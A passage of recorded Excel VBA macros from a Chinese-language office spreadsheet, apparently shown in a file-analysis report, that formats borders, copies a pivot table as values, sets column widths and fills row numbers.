ActiveWindow.ScrollRow = 168
ActiveWindow.ScrollRow = 176
ActiveWindow.ScrollRow = 178
ActiveWindow.ScrollRow = 183
ActiveWindow.ScrollRow = 185
ActiveWindow.ScrollRow = 188
ActiveWindow.ScrollRow = 185
ActiveWindow.ScrollRow = 180
ActiveWindow.ScrollRow = 178
ActiveWindow.ScrollRow = 176
ActiveWindow.ScrollRow = 171
ActiveWindow.ScrollRow = 168
ActiveWindow.ScrollRow = 166
ActiveWindow.ScrollRow = 161
ActiveWindow.ScrollRow = 159
ActiveWindow.ScrollRow = 156
ActiveWindow.ScrollRow = 154
ActiveWindow.ScrollRow = 151
ActiveWindow.ScrollRow = 149
ActiveWindow.ScrollRow = 147
ActiveWindow.ScrollRow = 144
ActiveWindow.ScrollRow = 142
ActiveWindow.ScrollRow = 139
ActiveWindow.ScrollRow = 137
ActiveWindow.ScrollRow = 134
ActiveWindow.ScrollRow = 132
ActiveWindow.ScrollRow = 130
ActiveWindow.ScrollRow = 127
ActiveWindow.ScrollRow = 125
ActiveWindow.ScrollRow = 122
ActiveWindow.ScrollRow = 120
ActiveWindow.ScrollRow = 117
ActiveWindow.ScrollRow = 115
ActiveWindow.ScrollRow = 113
ActiveWindow.ScrollRow = 110
ActiveWindow.ScrollRow = 108
Range("A125:P125").Select
Selection.Borders(xlDiagonalDown).LineStyle = xlNone
Selection.Borders(xlDiagonalUp).LineStyle = xlNone
With Selection.Borders(xlEdgeLeft)
.LineStyle = xlContinuous
.Weight = xlThin
.ColorIndex = xlAutomatic
End With
With Selection.Borders(xlEdgeTop)
.LineStyle = xlContinuous
.Weight = xlThin
.ColorIndex = xlAutomatic
End With
With Selection.Borders(xlEdgeBottom)
.LineStyle = xlContinuous
.Weight = xlThin
.ColorIndex = xlAutomatic
End With
With Selection.Borders(xlEdgeRight)
.LineStyle = xlContinuous
.Weight = xlThin
.ColorIndex = xlAutomatic
End With
With Selection.Borders(xlInsideVertical)
.LineStyle = xlContinuous
.Weight = xlThin
.ColorIndex = xlAutomatic
End With
With Selection.Borders(xlInsideHorizontal)
.LineStyle = xlContinuous
.Weight = xlThin
.ColorIndex = xlAutomatic
End With
Range("F129").Select
ActiveWindow.SmallScroll Down:=-126
End Sub
Sub 部門11()
Attribute 部門11.VB_Description = "peggy_chen 在 2011/11/14 錄製的巨集"
Attribute 部門11.VB_ProcData.VB_Invoke_Func = " \n14"
'
' 部門11 Macro
' peggy_chen 在 2011/11/14 錄製的巨集
'
'
ActiveWindow.SmallScroll Down:=-12
ActiveSheet.PivotTables("樞紐分析表2").PivotSelect "", xlDataAndLabel, True
ActiveWindow.SmallScroll Down:=-261
Range("E36").Select
ActiveWindow.SmallScroll Down:=-24
Range("A5:P32").Select
ActiveWindow.ScrollColumn = 12
ActiveWindow.ScrollColumn = 11
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 1
ActiveWindow.SmallScroll Down:=-27
Cells.Select
Selection.Copy
Sheets("11").Select
Cells.Select
Selection.PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
ActiveWindow.SmallScroll Down:=6
Range("C35").Select
ActiveWindow.SmallScroll Down:=-54
Range("A5:P32").Select
Application.CutCopyMode = False
Range("A4:L8").Select
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 1
Cells.Select
Range("F18").Select
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 11
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 1
ActiveWindow.SmallScroll Down:=6
Columns("B:B").ColumnWidth = 8.5
ActiveWindow.SmallScroll Down:=-24
Columns("D:D").ColumnWidth = 4.63
Columns("E:E").ColumnWidth = 6.88
ActiveWindow.SmallScroll Down:=-6
Columns("F:F").ColumnWidth = 28
ActiveWindow.SmallScroll Down:=6
Columns("F:F").ColumnWidth = 26.63
Columns("G:G").ColumnWidth = 23.13
ActiveWindow.SmallScroll Down:=-9
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 4
ActiveWindow.SmallScroll Down:=9
Columns("H:H").ColumnWidth = 4
ActiveWindow.SmallScroll Down:=-12
Columns("I:I").ColumnWidth = 32.38
ActiveWindow.SmallScroll Down:=-3
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 7
Range("K4").Select
Columns("J:J").ColumnWidth = 8.75
Columns("J:J").ColumnWidth = 8
Columns("K:K").ColumnWidth = 9.38
Columns("K:K").ColumnWidth = 8.13
Columns("K:K").ColumnWidth = 9.63
ActiveWindow.SmallScroll Down:=-12
Columns("K:K").ColumnWidth = 8.88
ActiveWindow.SmallScroll Down:=0
Range("J5:K31").Select
Selection.NumberFormatLocal = "#,##0_ "
ActiveWindow.SmallScroll Down:=6
Columns("L:L").ColumnWidth = 15.13
ActiveWindow.SmallScroll Down:=-12
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 9
ActiveWindow.SmallScroll Down:=-3
Columns("M:M").ColumnWidth = 8.25
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 11
ActiveWindow.ScrollColumn = 12
ActiveWindow.ScrollColumn = 13
ActiveWindow.ScrollColumn = 12
ActiveWindow.ScrollColumn = 11
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 1
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 1
ActiveWindow.SmallScroll Down:=-3
Range("A5").Select
ActiveCell.FormulaR1C1 = "=ROW()-4"
Range("A5").Select
Selection.Copy
Range("A6:A31").Select
ActiveSheet.Paste
ActiveWindow.SmallScroll Down:=-6
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 11
ActiveWindow.ScrollColumn = 12
ActiveWindow.ScrollColumn = 13
ActiveWindow.ScrollColumn = 12
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.